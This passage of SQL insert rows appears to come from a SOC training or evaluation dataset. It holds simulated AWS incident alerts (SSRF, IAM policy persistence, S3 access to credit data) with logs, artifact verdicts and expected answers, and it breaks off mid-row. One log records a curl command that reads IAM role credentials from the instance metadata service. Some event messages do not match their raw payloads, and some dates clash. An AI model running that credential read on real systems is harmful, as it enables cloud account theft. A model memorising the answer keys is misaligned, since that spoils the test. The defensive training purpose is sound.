(872, 'Execution of Unauthorized Commands', 'high', 'AWS CloudWatch Logs', 'An attacker exploited an SSRF vulnerability to execute unauthorized commands on the server, retrieving sensitive metadata, including IAM role credentials. The commands were executed from an external IP address, potentially indicating a breach.', 'Command Execution', 'T1059.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"source_ip\":\"203.0.113.42\",\"destination_ip\":\"10.0.1.15\",\"user\":\"ec2-user\",\"command\":\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"response_code\":200,\"response_size\":512,\"user_agent\":\"curl/7.64.1\",\"session_id\":\"abcd1234efgh5678\",\"malicious_file\":\"ssrf_exploit.exe\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-15 00:53:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous SSRF attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known SSRF exploit tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(873, 'Persistence via IAM Role Abuse', 'critical', 'IAM Role Access Logs', 'The attacker leveraged stolen IAM role credentials to establish persistent access without detection. This step involved using the compromised credentials to create a new IAM policy allowing further persistence.', 'Credential Access', 'T1078.004 - Valid Accounts: Cloud Accounts', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"userIdentity\":{\"type\":\"AssumedRole\",\"principalId\":\"AROAEXAMPLE:attacker-session\",\"arn\":\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\",\"accountId\":\"123456789012\",\"accessKeyId\":\"ASIAEXAMPLE\"},\"eventTime\":\"2023-09-15T14:56:30Z\",\"eventSource\":\"iam.amazonaws.com\",\"eventName\":\"CreatePolicy\",\"awsRegion\":\"us-west-2\",\"sourceIPAddress\":\"198.51.100.23\",\"userAgent\":\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\",\"requestParameters\":{\"policyName\":\"PersistencePolicy\",\"policyDocument\":{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"s3:ListBucket\",\"Resource\":\"arn:aws:s3:::example_bucket\"}]}},\"responseElements\":{\"policy\":{\"policyName\":\"PersistencePolicy\",\"policyId\":\"ANPAEXAMPLE\",\"arn\":\"arn:aws:iam::123456789012:policy/PersistencePolicy\",\"path\":\"/\",\"defaultVersionId\":\"v1\"}},\"requestID\":\"EXAMPLE-1111-2222-3333-4444\",\"eventID\":\"EXAMPLE-5678-9101-1121-3141\",\"readOnly\":false,\"eventType\":\"AwsApiCall\",\"managementEvent\":true,\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"attacker-session\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Session name used in multiple unauthorized activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"PersistencePolicy\",\"is_critical\":false,\"osint_result\":{\"source\":\"Policy Audit\",\"verdict\":\"suspicious\",\"details\":\"Recently created policy with permissions allowing persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(874, 'Lateral Movement to Sensitive Data Stores', 'critical', 'S3 Access Logs', 'The attacker moved laterally within the AWS environment, accessing multiple S3 buckets containing sensitive credit application data. The attacker used compromised credentials to authenticate from a known malicious IP address, targeting the S3 buckets with sensitive data.', 'Lateral Movement', 'T1080', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"eventSource\":\"s3.amazonaws.com\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2023-10-05T14:48:00Z\",\"eventName\":\"GetObject\",\"userIdentity\":{\"type\":\"IAMUser\",\"principalId\":\"AIDAEXAMPLE\",\"arn\":\"arn:aws:iam::123456789012:user/compromised_user\",\"accountId\":\"123456789012\",\"userName\":\"compromised_user\"},\"requestParameters\":{\"bucketName\":\"credit-applications\",\"key\":\"sensitive_data/credit_2023.csv\"},\"sourceIPAddress\":\"203.0.113.45\",\"userAgent\":\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\",\"responseElements\":{\"x-amz-request-id\":\"1A2B3C4D5E6F7G8H\",\"x-amz-id-2\":\"EXAMPLEBASE64STRING=\"},\"additionalEventData\":{\"bytesTransferredIn\":0,\"bytesTransferredOut\":2048,\"x-amz-id-2\":\"EXAMPLEBASE64STRING==\",\"x-amz-request-id\":\"1A2B3C4D5E6F7G8H\"},\"requestID\":\"1A2B3C4D5E6F7G8H\",\"eventID\":\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\",\"readOnly\":true,\"resources\":[{\"type\":\"AWS::S3::Object\",\"ARN\":\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\"}],\"eventType\":\"AwsApiCall\",\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IAM user account compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"credit_2023.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Data Classification\",\"verdict\":\"internal\",\"details\":\"File contains sensitive credit application data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 